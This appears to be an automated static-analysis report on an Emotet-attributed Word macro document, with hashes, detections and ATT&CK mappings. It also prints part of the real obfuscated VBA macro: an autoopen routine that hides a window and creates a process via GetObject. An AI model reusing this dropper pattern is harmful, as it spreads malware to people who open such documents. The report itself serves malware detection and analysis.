Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 46946372c8180250…

MALICIOUS

Office (OLE)

161.1 KB Created: 2019-03-26 18:01:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 3a864f7c64c77a701b9aec3dbcb4389f SHA-1: 1a1cfdbbded9a84be91aac5064a21c591710049c SHA-256: 46946372c81802503f01b6d9739fd4dd9fe39225973c8b9c22ef625666d48deb
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6914201-0', strongly suggesting the Emotet family. High-severity heuristics indicate the presence of an auto-executing VBA macro (autoopen) that uses GetObject, a common technique for Emotet to download and execute secondary payloads. The VBA macro code itself is heavily obfuscated, but the presence of autoopen and the GetObject call are clear indicators of malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6914201-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6914201-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14844 bytes
SHA-256: 2d4c8c4b6afe2a764b92680c47a796354e2f568111c300f91da4f0c196a816d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "n1CAwQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GAD_DG"
Attribute VB_Base = "0{9F8B55CD-B6F0-4DA4-AB50-70E9C7FA2034}{5B07E719-5147-4613-976E-888249BCE951}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MUCoBX"
Attribute VB_Base = "0{526A87AD-4FC8-4940-B4DF-744D791DDAAC}{6F111606-AC90-4175-9731-9223206AA8CB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hAAGB_A"
Sub autoopen()
On Error Resume Next
         Select Case sDAc11
Case 118280599
      MXQBAA = OBAxAoQQ / 478597815 / _
G4kDwUAA - CInt(mA1UBx + CInt(242231717)) + _
(267204555 * CLng(331235448))
      KxoUXwAX = 223893988 * kAQAkABA
      H_BAAAX = 864466949 - 287911280 + _
514265595 - DA4wAA_ / TDAACAU - Tan(895050759)
End Select
         Select Case NAcAAk
Case 709653768
      FQcBGA = E4BUBcAA / 754755544 / _
fAAQQD - CInt(HocAAX + CInt(787110658)) + _
(629948402 * CLng(286750411))
      WABAk1w = 665168076 * vXAGGA
      nXX4CC = 56756407 - 100273735 + _
975717345 - CDQwAx / BA_BUAAw - Tan(702573187)
End Select
         Select Case EAA_AoDQ
Case 446838557
      AAAcBAA = FcC1xD / 725462749 / _
iAAA4AAk - CInt(OAAAAAQ + CInt(707330327)) + _
(755291192 * CLng(775149347))
      QwD4kk = 128501794 * I1QQA_UU
      m4XG4D = 927588281 - 302785135 + _
133041045 - wxBUUAQ / qcDAkD - Tan(204124700)
End Select
Set okAccAXc = GetObject(GAD_DG.zA1XxAB + MUCoBX.sQDcxA + GAD_DG.zA1XxAB)
         Select Case fk1AUkA
Case 731717202
      DoGoAAQ = vAUCAx / 362632927 / _
fAcAAZ - CInt(dAXCcAxA + CInt(374264988)) + _
(513185493 * CLng(576958809))
      rAcAAA = 903701020 * HAwZkBUA
      FGABAk = 919633742 - 318126073 + _
661567965 - ZQAoQAcZ / sBBQBA - Tan(490381549)
End Select
         Select Case SDCxUDA_
Case 86630299
      hAUADA = LAwAA_ / 838020347 / _
YACGBBA - CInt(zAAAAxBB + CInt(843402600)) + _
(110104496 * CLng(735181702))
      aGABQkU = 305566633 * X4xACBD
      LAAADQ = 520578417 - 202859255 + _
81501362 - lAkAQAQ / Gk4Aw4 - Tan(830299945)
End Select
         Select Case UAAA_AC
Case 662976899
      MBB4QB1 = IDoUAQ / 433152590 / _
wABBADx - CInt(zAQkXZx + CInt(530378785)) + _
(699651961 * CLng(220765167))
      QA_DwUZ4 = 599910722 * ZUAXUG
      iDw1C4AA = 365888591 - 680037513 + _
195611679 - pA4QDX / bBxAAAA_ - Tan(324314675)
End Select
okAccAXc.ShowWindow = 481501 - 481501
         Select Case NUcQoA1
Case 236544262
      FBAQDC = i_AcoGk / 588426294 / _
I1kUAC - CInt(mAGAQXo + CInt(166614484)) + _
(278124716 * CLng(86538863))
      rAAQDQAA = 532779772 * OBcDBAUA
      lwUAAABk = 698960503 - 402273939 + _
26928979 - ZAcD1Q / qA4D1B - Tan(121436546)
End Select
         Select Case kADc1XUD
Case 305847213
      o1UD_G = pZAQAD / 481926843 / _
sAZ1CD - CInt(r4oXkcwk + CInt(886470201)) + _
(328267414 * CLng(861984837))
      ZADccwG = 383906128 * q1kAoxc
      hUAD4C = 675389546 - 506973620 + _
828253829 - B4AoDcU / tAAAcAox - Tan(740855376)
End Select
GetObject(GAD_DG.zA1XxAB + MUCoBX.w4ABUB4 + GAD_DG.zA1XxAB) _
.Create GAD_DG.zA1XxAB + MUCoBX.ucoADQ1 + GAD_DG.zA1XxAB + MUCoBX.aoxD1AA + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.E1ACBC + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.lAXZQB + GAD_DG.zA1XxAB + MUCoBX.QcUo1G + GAD_DG.zA1XxAB, YACAoDZA, okAccAXc, GAD_DG.zA1XxAB
         Select Case fAZAAAx
Case 877042873
      Rc_AAx = rZUA4k / 162967445 / _
cBUkZ1 - CInt(D_AQkCAA + CInt(197195728)) + _
(950241827 * CLng(640198986))
      z_AcDkA = 811973528 * YAQZ1Dc
     
... (truncated)